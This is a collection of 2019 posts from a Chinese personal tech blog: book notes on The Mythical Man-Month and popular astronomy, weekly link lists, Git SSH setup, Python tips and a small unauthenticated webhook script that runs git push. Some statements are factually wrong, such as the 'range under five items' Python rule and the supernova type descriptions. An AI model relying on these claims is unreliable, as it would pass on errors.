读《创新者的窘境》\n(有些观点是显而易见的看似能够让大公司立于不败之地的，大企业并不缺乏世界上最优秀的管理者，并不缺乏世界上最优秀人才，当然也不缺乏创新。)\nBitcoin：程序员都搞投资去了吗？ 这里的一篇文章是在 2011年06月06日 这时候和的文章，应该是远远的在bitcoin的发展的前列的人了。文章提出了五个观点，经过了八年的时间。试着回答一些吧。\n文章中提到的币价会越来越贵，实则不然，由于人们对他的认知的热潮，导致了市场过热的现象，才会有巨幅的价格波动。在理想的情况下，其价格和难度是正相关的，然而其数量和难度是负相关的，所以不会出现这种价格剧烈波动的情况。\n一种有限的商品，要在无限长的时间内被当做流通手段，恐怕难以为继。当然，让这种模式一直持续下去的最好方式就是，让大家一直持有，并一直保有希望，同时以为它会一直升值。这不是扯淡吗？\nTECH Docker 简单部署 ElasticSearch\nPython-ElasticSearch的使用\n在Debian和Ubuntu上安装OpenLiteSpeed，PHP 7和MariaDB\ndocker部署elklogstash、elasticsearch、kibana，监控日志\nElasticsearch 基本介绍及其与 Python 的对接实现\nIBM 社区里的好东西\n初识 Hadoop 什么是 Kubernetes？ ","date":"2019-04-21T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-21-weekly-4/","tags":null,"title":"weekly.4"},{"categories":null,"contents":"前 有了线上的blog的系统还是很方便的,因为我可以灵活的记下来自己想的东西,随时随地\nBC 隐私 使用 BlockChain的技术，来拯救个人信息的问题。 以及互联网的价值问题\n群组圈 一个亿群组为单位的小型朋友圈。\n","date":"2019-04-19T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-19-ideal/","tags":null,"title":"Ideal"},{"categories":null,"contents":"前 换了平台，以及文章的发布方式，写一篇的文章的成本大幅下降了。所以这里以后可能就会出现一些奇怪的碎碎念。因为随时随手都能写上一点点。\n突发奇想的想做一个博客的聚合以及检索的平台。使用 RSS源 来进行驱动。后台也许会使用 elasticsearch 进行驱动。\n更新 2019-04-18 15:04:15 星期四 项目结构 由于之前没怎么用过，所以这次用一用 Flask 的这个框架。\n代码 用于过程请求时候的错误修饰器。\neno = {\u0026amp;#039;code\u0026amp;#039;:0, \u0026amp;#039;msg\u0026amp;#039;:\u0026amp;#039;\u0026amp;#039;} def enoChk(eno): def wrapper(fn): def _wrapper(*args, **kwargs): if eno[\u0026amp;#039;code\u0026amp;#039;] != 0: return eno return fn(*args, **kwargs) return _wrapper return wrapper 这个修饰器，可以带上参数，所以需要两层的结构\n使用 feedparser 来实现对 rss 的解析。\n更新 2019-04-25 16:22:22 星期四 这里用 Docker 来进行 ES 集群的搭建,\n","date":"2019-04-18T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-18-idea-%E4%B8%80%E4%B8%AA%E5%8D%9A%E6%96%87%E7%9A%84%E8%81%9A%E5%90%88%E5%B9%B3%E5%8F%B0-rss%E9%A9%B1%E5%8A%A8/","tags":null,"title":"iDea----一个博文的聚合平台 RSS驱动"},{"categories":null,"contents":"前面的话 Every bullet has its billet.\n简介 书名：人月神话 Mythical Man-Month 作者：小弗雷德里克·布鲁克斯 ISBN：9787302392644 他只是坐在那里，嘴里说：“做这个！做那个！”当然什么也不会发生，光说不做是没有用的 \u0026mdash;-哈里·杜鲁门，论《总统的权力》\n笔记 人和时间的互换仅仅适合可以分解，且不需要进行交流的工作中，比如小麦收割，系统编程中近乎不可能\n很多创造性活动，依托于现实的物理介质。比如建房子。这些物理介质往往会限制了思路的表达。也同样带来了很多意料之外的困难。我们总是使用主观主义色彩去责怪这些介质。然而编程而言，介质极其容易被掌握，可以表示十分纯粹的思维活动，我们期待于不会碰到困难，导致了乐观主义的弥漫。\n如果项目需要进行一对一的交流，那么工作量的递增可以想想为多边形的边数，呈 n(n-1)/2 这种形式递增。三个人的工作量是两个人的三倍。\n软件进度的经验法则：\n1/3 计划 1/6 编码 1/4 构件测试和早期系统测试 1/4 系统测试，（所有构构件已完成） 除了系统测试，进度基本可以保证。一定为系统测试安排足够时间\n总之在众多的软件项目中，缺乏合理的进度安排是造成项目滞后的主要原因。\n他们喜欢一流水平小团队而不是几百人的大型团队。\n2000$ 每年的程序员的生产力是 1000$ 的程序员的十倍以上\nOS/360 这个操作系统的巅峰的时候曾有100人在为之工作。从 1963 到 1966 将近 5000 个人年。进行人月置换的话，那么 200 人的团队需要 25 年的时间才能达到产品现有的水平。\n大型项目的每个部分都应该由一个团队解决，类似与外科手术。而不是蜂拥而上的方法。\n概念上的完整性，\n设计师的贵族专制，压制平民编程人员？ 设计书的指定无法实现，或者代价太高，人们陷入困境 保证技术细节被理解，被精准的整合到产品中？ 易用性是产品的目标，那么功能和复杂度的比值才是系统最终的测试标准。\n不一定只有结构师才会有好的创意，新的概念经常来自于实现人员或者用户。系统的概念完整性决定了其使用的容易程度。不能和系统基本概念进行整合的良好想法和特色，最好放在一边不予考虑。对呀重要但不兼容的思想，需要进行重新的整合设计。\n对于产品之中的的贵族专制制度，对于结构师而言是肯定的，因为他们的工作产物的生命周期比那些实现人员的产物要长，并且一直处于子解决用户问题，实现用户利益的核心地位。未为了得到系统概念上的完整性，必须要有人来控制这些概念，所以呢这是一种无需任何歉意的贵族专制制度。\n在开发第二个相同产品的时候，（文中是系统），很有可能出现画蛇添足的现象。普遍现象是过度设计第二个系统，加入很多之前第一个产品被放在次要位置的想法。这时候是最危险的，因为产品的差异性，使得很多经验得不到验证。\n文中一直提到一个很失败的例子，就是 OS/360 的其中 26 字节的常驻日期翻转例程来正确的处理闰年的 12月31日问题 ，其实这个完全是可以交给操作员来完成的工作。这里就是典型的对于功能过多的考虑。也存在对某些技术过度细化精炼的趋势。由于基本的设想已经发生了改变，所以很有可能技术已经显得明显的落后。成为了最后的也是最优秀的恐龙。\n形式化定义，需要超出自然语言的精准，古老的格言说：不要携带两个时钟出海，带一个，或者三个。这样才可能方便的定下何为标准，或者谁为标准。\n一次添加一个构件，阶段（量子）化，定期变更。\n巴比伦塔为什么失败 巴比伦塔的失败，在圣经里面写的很有意思，上帝看了人类建造的城市和高塔。说：他们是一个种族，使用一种语言，现在建造高楼，以后就没有什么可以拦住他们了。来我们在他们的语言里面制造一些混淆这样他们之间不能互相听懂。这样，上帝把人们分散到世界各地，于是他们不得不停止建造那座城市。\n《创世纪》中记载，巴比伦塔是人类继诺亚方舟之后的第二大的工程壮举，同时，也是一个彻头彻尾的失败工程。从先决条件分析：清晰的目标？人力？材料？足够的时间？足够的技术？ 对于前面的先决条件的回答的答案都是肯定的。那么所缺乏的，存在于两个方面：交流和交流的结果————组织。\n他们无法交流，从而无法合作，当合作无法进行的时候，工作便陷入了停顿。史书中记载，交流缺乏导致了争霸，沮丧和集体猜疑很快的部落开始分裂，大家选择了孤立。\n当项目有N个工作人员的时候就出现了 (n^2-n)/2 个交流接口，有接近 2n 个必须合作的潜在团队。团队组织的目的，是为了减少所需的交流和合作数量。这种方法就叫做 人力划分。\n树状编程队伍，在每个团队里面需要的是：\n任务 a mission 产品负责人 a producer 技术主管或者结构师 a technical director or architect 进度 a schedule 人力的划分 a division of labor 各部分之间的接口定义 interface definitions among the parts 对于小型的团队的结构，应该是 技术主管作为总指挥，产品责任人充当其左右手。在小型团队是最适合的，对于大型团队，产品负责人作品为管理者更加的合适。\n没有银弹 No Silver Bullet，人们为了消灭狼人的方法，需要寻找银色的子弹。没有什么方法可以在短时间内实现生产效率的数量级的提升。 把开发过程分成 根本的（essence）————软件特性中固有的困难 和 次要的（accident）————出现在目前生产中的但并非与身俱来的困难\n我认为软件开发中困难的部分是规格说明，设计和测试这些概念上的结构，而不是对概念进行表达和对实现逼真程度进行验证。\n增量开发————增长，而非搭建系统，首先系统应该能够运行，即使未完成任何有用的功能，只能正确调用一系列的伪子系统。接着系统一点点的被充实，子系统轮流被开发。\n我现在还记得，在1958 年，当听到一个朋友提及搭建（building）而不是编写（writing）系统时，我所受到的震撼。\n实际上指的是 ：软件开发过程中的固有的概念复杂性，无论时任何时间，使用任何方法设计和实现软件的功能，他都存在\n在所有被误导的科学探索中,最悲惨的莫过于对一种能够将一般金属变成金子的物质, 即点金石的研究。这个由统治者不断地投入金钱,被一代代的研究者不懈追求的、炼金术中 至高无上的法宝,是一种从理想化想象和普遍假设中——以为事情会像我们所认为的那样— —提取出的精华。它是人类纯粹信仰的体现,人们花费了大量的时间和精力来认可和接受这 个无法解决的问题。即使被证明是不存在,那种寻找出路和希望能一劳永逸的愿望,依然十 分的强烈。而我们中的绝大多数总是很同情这些明知不可为而为之的人,因此它们总是得以 延续。所以,将圆形变方的论文被发表,恢复脱发的洗液被研制和出售,提高软件生产率的 方法被提出并成功地推销。\n我们太过倾向于遵循我们自己的乐观主义(或者是发掘我们出资人的乐观主义)。我们 太喜欢忽视真理的声音,而去听从万灵药贩卖者的诱惑 。\n金句 系统编程的进度安排背后的第一个错误的假设是：一切都将运行良好，每一项任务仅花费它“应该”花费的时间 使用人月作为一项工程的规模是一个危险和带有欺骗性的神话 《创造者的思想》：创造性的活动分为三个阶段：构思，实现，和交流 任务不能被分解的时候，人手的添加对进度没有任何的帮助，比如孕育生命的十个月。 Brooks法则：向进度落后的项目添加人手，只会使得进度更加落后。 这些研究表明，效率高和效率低的实施者之间的个体差异非常搭，经常能够达到数量级的水平 一拥而上的开发方法是高成本的，速度缓慢的，低效的，开发出的是无法在概念上进行集成的产品。 没有规矩，不成方圆。最差的建筑，往往是那些预算远远超过起始目标的项目。 创造性活动包括三个独立阶段：体系结构（architecture），设计实现（implementation），物理实现（realization）。他们往往可以并发进行。 我可以召唤地下的幽魂。这我也会，什么人都会，可是当您召唤他们的时候，他们会应召而来吗？ 在未来的十年内，无论是在技术还是管理方法上，都看不出有任何突破性的进步，内阁爆炸在十年内大幅度的提高软件的生产率，可靠性，和简洁性。 构建软件最可能彻底解决方案是不开发任何软件。 二十年后 ","date":"2019-04-18T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-18-%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0mythical-man-month/","tags":null,"title":"读书笔记《Mythical Man-Month》"},{"categories":["dev"],"contents":"前 博客从前面的静态站点，搬到现在的动态站点了，虽说方便了很多，但是，之前是在 Github上托管的，所以由个更新，感觉还可以看见的填色游戏，迁走了之后，感觉少了点什么东西，没有色块了感觉自己没啥动静了。\n所以这篇就是使用 WP webhook 来实现到 Github 的自动更新。完成commit。这样就可以继续填色游戏了，并且，后面打算优化脚本实现，文章的自动同步。\nWebHook 的设置 在 WP 端使用的是 WP Webhook 这个插件 支持 Send 和 Recieve 的方式实现。这里由于是实现自动的 push 所以自然使用的是 send。在 插件页面配置如下\n这里可能是属于一个 BUG。很难受忍不住吐槽。 在这个 URL 填写的时候，试了很多种形式来写。IP的，IP端口的，域名端口的，域名的，发现只有单单域名或者hostname的时候可用，其他情况下通通地都是 URL不可用。\n由于web服务地限制，只能使用非标端口，但是用了非标端口，又不能被识别，真是麻烦。所以被迫的，后面又把 Nginx 跑了起来，用 443 + SSL 一样的放方，强制过备案。\nWebHook Server 的實現 解决了WP的WebHook的请求的问题，这里就要实现自己的 webhook 的服务器了，这里这里直接用SimpleHTTPServer 这个 module 自己实现一个 。\n下面直接贴出来这个python写的小工具。\n#!/usr/bin/env python # coding=utf-8 import os, time from wsgiref.simple_server import make_server import logging __author__ = \u0026#39;lau\u0026#39; logging.basicConfig(level=logging.INFO, filename=\u0026#39;./log.out\u0026#39;, filemode=\u0026#39;a\u0026#39;, format=\u0026#39;%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s\u0026#39;) def newPost(environ): if environ[\u0026#39;REQUEST_METHOD\u0026#39;] == \u0026#34;POST\u0026#34;: print(environ) logging.info(\u0026#39;new post\u0026#39;) os.system(\u0026#39;git add .\u0026#39;) os.system(\u0026#39;git commit -m \u0026#34;merge\u0026#34;\u0026#39;) os.system(\u0026#39;git push origin master\u0026#39;) logging.info(\u0026#39;git push finish :new\u0026#39;) def update(environ): if environ[\u0026#39;REQUEST_METHOD\u0026#39;] == \u0026#34;POST\u0026#34;: logging.info(\u0026#39;post update\u0026#39;) os.system(\u0026#39;git add .\u0026#39;) os.system(\u0026#39;git commit -m \u0026#34;%s\u0026#34;\u0026#39; % time.asctime(time.localtime(time.time()))) os.system(\u0026#39;git push origin master\u0026#39;) logging.info(\u0026#39;git push finish :update\u0026#39;) # 这里路由和函数进行绑定 route_map = { \u0026#39;/new\u0026#39;: newPost, \u0026#39;/update\u0026#39;: update } def application(environ, start_response): start_response(\u0026#39;200 OK\u0026#39;, [(\u0026#39;Content-Type\u0026#39;, \u0026#39;text/html\u0026#39;)]) # 由于这里进行了一级的路由，因为不能直接占根，所以这里，就直接取最后一级 environ[\u0026#39;PATH_INFO\u0026#39;] = \u0026#39;/\u0026#39; + environ[\u0026#39;PATH_INFO\u0026#39;].split(\u0026#39;/\u0026#39;)[-1] print(environ[\u0026#39;PATH_INFO\u0026#39;]) if environ[\u0026#39;PATH_INFO\u0026#39;] in route_map: # 路由匹配之后，这里直接进行调用其处理方法 route_map[environ[\u0026#39;PATH_INFO\u0026#39;]](environ) return [b\u0026#39;Hello!\u0026#39;] # 创建一个服务器，IP地址为空，端口是8000，处理函数是application: httpd = make_server(\u0026#39;\u0026#39;, 8000, application) print(\u0026#39;Serving HTTP on port 8000...\u0026#39;) httpd.serve_forever() 上面的代码直接跑起来应该问题不大了。没有什么核心的，简单的直接使用 system 来调用shell。\n后面需要在 nginx 的配置里面添加内容：\nlocation // { proxy_pass http://127.0.0.1:8000; } 后 后面打算把请求体作为文章顺便保存下来。优化一一下功能，顺便解决更新一下 push 多次的现象\n","date":"2019-04-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-16-%E9%80%9A%E8%BF%87-webhook-%E5%AE%9E%E7%8E%B0-wp-%E6%9B%B4%E6%96%B0%E5%88%B0-github/","tags":["git","python","wordpress"],"title":"通过 WebHook 实现 WP 更新到 Github"},{"categories":["op之路"],"contents":"前 可能由于服务器的TLS版本不对，所以试着账号密码直接登陆总是显示认证失败。\n想想，使用账号密码认证，每次提交还需要进行登陆认证，的确麻烦。所以这里就直接配置使用 SSH进行认证了。\n(动态博客，就想写就写了无所谓篇幅了)\n配置过程 生成密钥对 ssh-keygen -t rsa -C\u0026amp;quot;mail@mail.com\u0026amp;quot; # 这里换成自己的邮箱 生成的RSA密钥对在默认的 /root/.ssh/ 目录下\nGithub 添加公钥 直接上传公钥\n测试 ssh -Tv git@github.com # 测试基于证书的Github连接 修改配置 修改项目内容的url为ssh的形式，后面就可以实现免登陆的ssh认证。\n[remote \u0026amp;#039;origin\u0026amp;#039;] url = git@github.com:xxxx/xxxx.git 至此，配置完成。\n后 这里打算通过 WebHook 来实现 WP 文章的更新触发 GitHub 上的一个commit。算是记录一下自己的进度吧。\n","date":"2019-04-15T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-15-%E9%85%8D%E7%BD%AE-git-%E4%BD%BF%E7%94%A8-ssh-%E8%BF%9B%E8%A1%8C%E8%AE%A4%E8%AF%81/","tags":["git","misc","ops"],"title":"配置 Git 使用 SSH 进行认证"},{"categories":["dev"],"contents":"前 这个是翻 《深度实践OpenStack》这本书里面看到的，了这里总结一下。原书写的太松散了，没有重点\nxrange 一般都习惯于使用 range ，但是pyhton的原则是 在数据数量小于5的时候使用 range() ，当数据量大于5的时候使用 xrange() ，后者应该是个生成器，大幅降低内存消耗。\n推导试 [x for x in range]\nSQLAlchemy 使用 ORM 来进行数据库的操作，比那种裸写 SQL 是要优雅不少的[]()\nlogging Python 的一个很好的实现日志分级和输出的模块\nEventlet 高性能网络库，实现异步网络通信\n","date":"2019-04-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-14-python-%E7%9A%84%E5%87%A0%E4%B8%AA%E5%B0%8Ftip/","tags":["python"],"title":"Python 的几个小tip"},{"categories":["每周分享"],"contents":"前 这周看来是进了冰川期，奇奇怪怪的想法也太多了。看一集猫和老鼠都能有一大堆的想法，何必呢，多累啊。\n然后后面就是啥都不想干的时候，这周的计划又overdue了！\n可乐不会形成味道的记忆。你可以在上午9点，上午11点，下午5点各喝一杯，而不会对它的味道厌倦，其他饮料都做不到，一段时间后你会厌倦它们。普通人每天饮用64盎司的液体，你可以将所有64盎司的液体都换成可乐。\n-- 巴菲特解释他为什么投资可口可乐\n文章 什么样的小伙伴才是靠谱的小伙伴？\n最简单的，花了10k招的人能够完全符合甚至超过10k的水平。具体来说就是能够在规定的时间里面高质量的完成指定的任务的同时能够完成地更好；对同事来讲，靠谱的小伙伴就是能够与其进行正常交流和沟通，关系融洽，氛围轻松，共同进步。\n二十多岁的我们，为什么觉得谈恋爱好难\n在精打细算完一连串的问题之后，爱反而成为了最后才会思考的问题。\n救赎之旅\u0026mdash;谨以此文献给我的大学生涯\n程序猿的自我修养\nPICk 一个很好的交易数据的站点，可以下载行情数据，交易数据，后面没准可以用上\ninvesting.com\n这个在之前，币圈还是欣欣向荣的时候还是很火的，各种程序员们自己写的搬砖套利的应用，不少用了这个接口\n现在开始思考，我们使用的全拼真的是正确的合理的吗？一个字的音是由声母和韵母两部分组成。所以我们每次键入的可能的组合只有可能是 sh, ch, ing, ong, ang 而不可能出现 vh, vhi, kng, qng 这种的组合，而这种的在全拼的模式是完全可以存在的。所以，可以说，这种多次的键盘敲击明显的提升了错误率。\n这里看一个例子，下面给出的是 现在台湾地区使用的拼音，他们使用的输入方式和我们是不同的，使用的是 注音输入法 ，注音符号在下面一张表。\nhttps://www.ifreesite.com/phonetic/phonetic.htm\n可以看到，在注音输入法里面，把声母和韵母组成了不同的符号，这些符号的组合就是音的组合。那我们有双拼啊 的确，（现在用的也就是双拼），但双拼有一个比较致命的问题，就是双拼的重码率，在小鹤双拼的鹤形功能没有启用的时候，双拼是很容易重码的。\n那么注音呢？很惊喜的一点是，在注音的过程之后，我们可以输入 一二三四 的声调，这样对音来进行筛选，大大降低了重码的现象。很巧妙的，有时间学学了。\nTech 监控搭建的简单指导 Docker安装Grafana+Prometheus系统监控之Redis Docker安装Prometheus，Grafana展示数据 prometheus监控1-主机监控 Prometheus 入门与实践 \u0026ndash; IBM DN prometheus-book Prometheus+node_exporter+alertmanager监控主机 prometheus的apache监控 跳板机Teleport的部署 ","date":"2019-04-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-14-weekly-3/","tags":null,"title":"Weekly.3"},{"categories":["读本好书"],"contents":"前 这本书，也是借借还还好几次，说是没有时间看书是假。没有静下心来是真。 最近各种事情积压，尽快的收尾，开始一个新的阶段吧。\n路阻且长，戒骄戒躁，精心沉淀，厚积薄发\n简介 书名：千亿个太阳 作者：鲁道夫·基彭哈恩 ISBN：9787535718563 演出舞台是整个银河系，上场的角色是它千亿恒星和地球上的几百名天文学。 导演是自然界的规律，因而宇宙物质具有明显的聚集成球的倾向，在我们的概念中这些球就是恒星。\n恒星漫长的生命 这部分是从人们对太阳的能源的来源的猜想引出，从 烟煤燃烧 到 流行假说，再到 太阳可以将自身的引力释放出来 （如果太阳没有能量的输入，它将会随着时间的退役收缩，那么他的半径将会变小。每克物质会向太阳的中心靠近，即以较大的速度跌落，从而释放能量）。\n后面书中引出了核聚变产能的方式。当有一颗恒星的10~20%的氢被燃烧掉，那么就会很明显的呈现出核能被耗尽的种种显现，所以太阳可以均匀的辐射时间大概有 70亿年。\n我们肉眼可见的恒星有 7000 个，角宿一为大家所熟知，他是室女座的最亮的一颗恒星，质量是太阳的十倍，辐射比太阳强 1000 倍，那么这样的话，角宿一的寿命只有短短的几百万年。\n天狼星是一个双星系统，有主序星天狼A和白矮星天狼B，由其轨迹的周期摆动发现。御夫座ζ星也是双星系统，由其亮度的周期变化发现。\n赫罗图 赫罗图可以对恒星进行分类，书中称为对天体物理学家最有用的图。其横轴为温从高到低，纵轴为光度，从低到高。图示如下\n以太阳的光度，为1作为纵轴的中点，y轴表示光度的倍数，从 1/1000到1000，太阳的表面温度为 5800℃，位于x轴的中间。比太阳更热的恒星在太阳的左边。光度更大的星在太阳的上边，反之也如此。\n因为冷星的光为红色，热星的光为白色或者蓝色，所以红星位于右边。蓝白星位于左边。上边的时光度大的星，下边是光度小的星。 **推论：**一个冷天体每秒只能辐射较少的能量，而且光度又较高，所以必定是一颗很大的星，所以就在赫罗图的右上方，人们称之为红巨星或者超红巨星。御夫座ζ双星的主星，就是一颗红巨星，其体积可以容纳地球轨道。 在赫罗图的左下角，其光度较低，但是却是白星，所以其体积必然很小，所以在左下就是白矮星。天狼星的伴星 天狼B 就是一颗白矮星。\n由上图可见，其中的 Main Sequence 就是我们所说的主序，有 90% 的恒星处于这条带内，这些星就是我们所说的主序星。\n得到一个惊人的结果：一定质量的恒星只能存在一定的主序位置上。质量小的在主序位置下降，质量大的在主序的上端。这就是重要的质光关系。\n星团 恒星是成群的形成星团。熟知的有 昂星团和毕星团。\n所有的星团都占有一段共有的主序，较亮的星在向右转折的分支上。在主序上，拥有更高的质量（根据质光关系得到的是更高的光度），优雅的恒星寿命也是越短的。\n星系的年龄因为前面得到了，质量越高的星，其寿命越短，当主序星的氢耗尽时，其会向右偏移，变成一颗红巨星，那么在主序上的这一部分就会出现断层。那么如此，如果判断一个星团的年龄的话，就可以根据主序的最左上端进行判断。那么得到 M3\u0026gt;毕星团\u0026gt;昂星团。\n恒星 这里讲了恒星结构，以及恒星的内部反应原理。\n镭的原子核受到了核力的约束理应不能分裂时稳定的。但是事实是这种的分裂时可以发生的。核的一部分，会在偶然间冲破强大核力的作用。人们称该效应为隧道效应。理解为不用爬上山顶，可以有一条隧道。\n在恒星中，存在着碳循环，在这里碳便是核反应的催化剂一样的角色。过程是比较复杂的，简单写为 C12+H-\u0026gt;N13-\u0026gt;C13+H-\u0026gt;N14-\u0026gt;O15-\u0026gt;N15+H-He4-\u0026gt;C12\n后面的理论指出，在没有碳氮存在的条件下也可以产生聚变反应。质子-质子链，氕氕成氘，氕氘成氦。四个氢核聚变成一个氦核。\n在恒星中，是根据温度分别上面的两种反应的，在1000万度以下是 质子质子链，而以上则是以碳循环为主。\n在宇宙形成的时候，一代恒星没有碳氮元素，主要依靠质子链进行反应，内部的氦核形成碳之后，为各代恒星提供了所需的催化元素。\n恒星模型 恒星由元素引力和内部压力的平衡来进行支撑。恒星物质不断的进行对流，来实现能量的传递。\n核聚变的过程中是可以释放出中微子的，不带电的极小粒子，基本不受任何阻挡的沿直线传播。在地球上可以使用四氯化碳进行捕捉。一个中微子可以使一个氯原子变成氩原子。\n较大质量恒星 脉动行星 造父变星，是变星的一种，其光度会有节奏的变亮变暗，其亮度发生变化的过程，可以理解为一个活塞的阻尼振动的过程，\n演化后期 氦闪跃指的是行星内部的氦的猛烈燃烧，当恒星中部的氢燃料耗尽的时候，恒星的中部形成了一个巨大的氦球。光子和电子产生中微子对带走中心部分的部分能量（中微子致冷），使得恒星的中心的温度低于其他区域。氦就在温度最高的地方发生燃烧，由于是在高密度情况进行，所以会非常的迅猛，形成了氦闪跃。\n窃取恒星的物质 大陵五，英仙座β星，西名Algol，意思是“妖魔”，当一个双星系统，每个恒星都小于其洛希体积以内，恒星之间不会感觉到伴星的作用。多数情况这是两颗主序星。\n当其中一颗星刚好是允许的洛希体积的时候，就是大陵五，这样两星之间就有了矛盾。\n恒星的结局 大质量恒星的铁心灾变。\n恒星的命运要么是老老实实的成为白矮星，要么是以中子星结束。\n恒星的结局就是成为致密的天体，其中的物质永远在一起。不过至此之前，会把一部分的质量抛向空中，为了新一代的恒星诞生提供了物质基础。\n恒星几户总要变成致密天体，那么，归根到底恐怕宇宙中的一切物质都要聚缩为冷却的白矮星，中子星或者黑洞，而围绕他们死气沉沉地运转地则是僵冷地行星。看起来似乎宇宙是在走向枯燥乏味地未来。\n恒星的诞生 气体云的塌缩，到2000度氢分子分解成原子，那么体积继续收缩，温度继续升高。\n角动量守恒的定律很好的说明的自转的现象，由于不断的塌缩，就像旋转过程中突然收回腿一样，角速度会提升，所以云团越转越快，到最后就形成了我们所熟悉的一个圆盘。\n后 一个想知道恒星随时间变化的天文学家可以和一只想在短暂生命中了解人类衰老过程的果蝇一样。我们置身于它的地位来想想，如果它从早到晚总在观察一个人，那么它不会发现这个人由明显的衰老。 人的寿命远比果蝇长的多，他只能看到各色的人，高矮胖瘦，他看到的只是人类中的一个瞬间的时刻，它不会知道矮人不是永远的矮，浅皮肤的人不会变成深色，男人不会变成女人。我们观察恒星的时候也是，我们看到的只是一个瞬间图像，看到的各个类型的恒星，比如有颗器官的星绕着天狼星运动\u0026hellip;\n","date":"2019-04-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-14-%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0%E5%8D%83%E4%BA%BF%E4%B8%AA%E5%A4%AA%E9%98%B3/","tags":["book","浪漫星空"],"title":"读书笔记《千亿个太阳》"},{"categories":null,"contents":"随随便便的内容\n我不喜欢把宇宙的能量,大比方的放在我们的熟知的世界里面,因为我们的世界显得时这么的弱小和不堪\n看来矛和老鼠里面的一集,感觉自己像是悟出了什么人生大道理，不过讲真是不怎么开心。\n","date":"2019-04-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-12-770/","tags":null,"title":""},{"categories":["读本好书"],"contents":"前 也许每个理科男的心中总是有着浪漫星空，想知道苍穹之外是什么。还是不要知道为好了，当发现自己是一个点点的时候，感觉真的不是很好受\n在图书馆偶遇这本书，作者竟然是 阿西莫夫 ，1998年的版。很老的书了，但是忍不住的拿起来翻翻，这篇文章，主要写写自己的书中的感想和思考\n简介 书名：宇宙指南 作者：艾萨克·阿西莫夫 ISBN：9797214020772 出版社的直接意图并不在教给人们多少知识，而是在于培养一种科学思考生命，思考本身即是科学的荣耀。物质和头脑两方面的完善，对一个现代化人更重要，那更有助于他清楚的了解和思考自身在空间中的存在。\n正文 书里作为科普读物，里面解释了 110个迷人且有趣的问题。这里就不一一的写在这里，写写自己感兴趣的部分吧。\n风的成因 地球在转而风不动这种想法肯定是多的，赤道上的风速会达到 1600km/h。\n北方袭来的冷空气，以较慢的的速度随地球转动。但是到了赤道地区，低于当地的自转速度，所以人们认为风是从东北方吹来的。同样的南方来的风会被认为是东南方。\n为什么夏天比动态暖和 前面一直以为换地球轨道的近地点远地点有关系。显然是错误的，因为全球的气候不是同时的。\n其成因在于 地球的地轴的偏转导致了昼夜不等的情况，导致了南北的热吸收不等，从而导致了温度的不等。从而导致了冬夏的季节。从而导致了南北半球的四季是相反的现象。\n每年都会有两分两至，春分秋分，和夏至冬至，两分的时候，我们可以称之为昼夜等长点。\n在古代的时候，人们看到太阳落山往往会恐慌，担心太阳落下去永远不在升起来了。\n地球会不会冷却下来 地球内部的放射性元素在不断衰变，释放能量来维持地球本身的热量。在过去的 46亿年，地球只有一般储量的铀，和五分之一的钍裂变了。是这种效应使得地球没有冷却下来。\n地球是怎样形成的 几乎所有的行星在一个平面上运行的，而且是沿着一个方向绕着太远转，就行月亮绕着地球或者是土卫和木卫一样。所以天文学家得到启发，如果太阳系不是来自于同一个物体，那么不可能呈现这么多的相似之处\n星云假说到微星学说。对行星的形成由星云的收缩产生行星，到恒星碰撞的碎片产生行星。因为行星有很大的角动量，如果靠星云收缩，无法有如此大的角动量。\n月亮是否在旋转 月亮永远只有一面对着地球，不代表月亮不会旋转，月亮的旋转的公转和自转的周期是一样的是 29.5 day，\n什么是潮汐 可以水在地球表面均匀分布，但是远端近端受到的引力大小不同，所以，海水会被拉到近月端。\n近月端和远月端距离差距达到 7%\n星体供氢量降低 当氢资源降低，内部无法维持其核反应的压力，恒星将会发生塌缩，从而从体积上讲，会成为一颗矮星。如果温度不超过 2000度，其可见光属于红光，所以称之为红矮星。\n但是实际上，在其衰老的过程中，先回出现的情况，是由于大量的氢反应，形成了一个稳定坚实的氦核，导致氢反应在其周围进行，所以引力和其氦核的体积大于了其反应过程中的压力，这时候的恒星的体积将会不断的膨胀，直到变成一颗红巨星，至此走出主序星的行列。\n最熟悉的一颗红色巨星是猎户座中的参宿四，其直径有 11亿公里，是太阳直径的 800 倍。\n白矮星是什么 当一颗红色巨星形成之后，其核聚变的强度也在大幅的衰减了。最多几百年后，其内部反应的压力就不在可以支持其向内的万有引力，这时候就会发生 塌陷。，成为一个白矮星。天狼B 的密度达到 3300万克每立方厘米。\n新星与超新星 在天空中突然出现的亮星，称之为新星。实际上是白矮星在获取其伴星质量或者热量的时候引爆自己的，这时候就可能诞生一颗新星。\n然而超新星之于新星不同，其不断吸收伴星质量，质量达到 1.44倍太阳质量也就是 肯德若赛哈尔点，这时候，白矮星无法维持其原有结构，一次大爆炸就发生了，最后白矮星消失什么都没有留下。\n超新星爆炸存在两种 I型 和 II型，I型的波谱，表示其不含氢，是由 白矮星发生的爆炸。II型是波谱含氢，说明是直接在红巨星发生了爆炸，并未经历白矮星阶段，这时候的氢留下，并且塌陷留下了氢，从而形成一颗新星。\n脉冲星 天文学家致力于微波的检测，发现有两个重要的优点，可穿透大气层，可穿过雾霭尘埃。\n在对太空的微波检测时，发现了有规律的微波脉冲，那么时什么情况导致的呢？这个物体一定在转动，或者自转，或者产生脉冲。在一秒钟发生几百次，那么必须要求此物体有很小的体积与以及很强的重力场。\n脉冲星不可能是白矮星，因为它太大，并且重力场太弱。如果极快的转动，那么必定将自身撕裂。所以脉冲星，一定是中子星，磁极不一定是自转轴，由于是中子星，电子会被极紧密的吸附，只有可能从磁极逃逸，所以当自转方向，朝向地球的时候，我们就受到了微波的脉冲。\n黑洞 奥本海默指出如果中子星超过 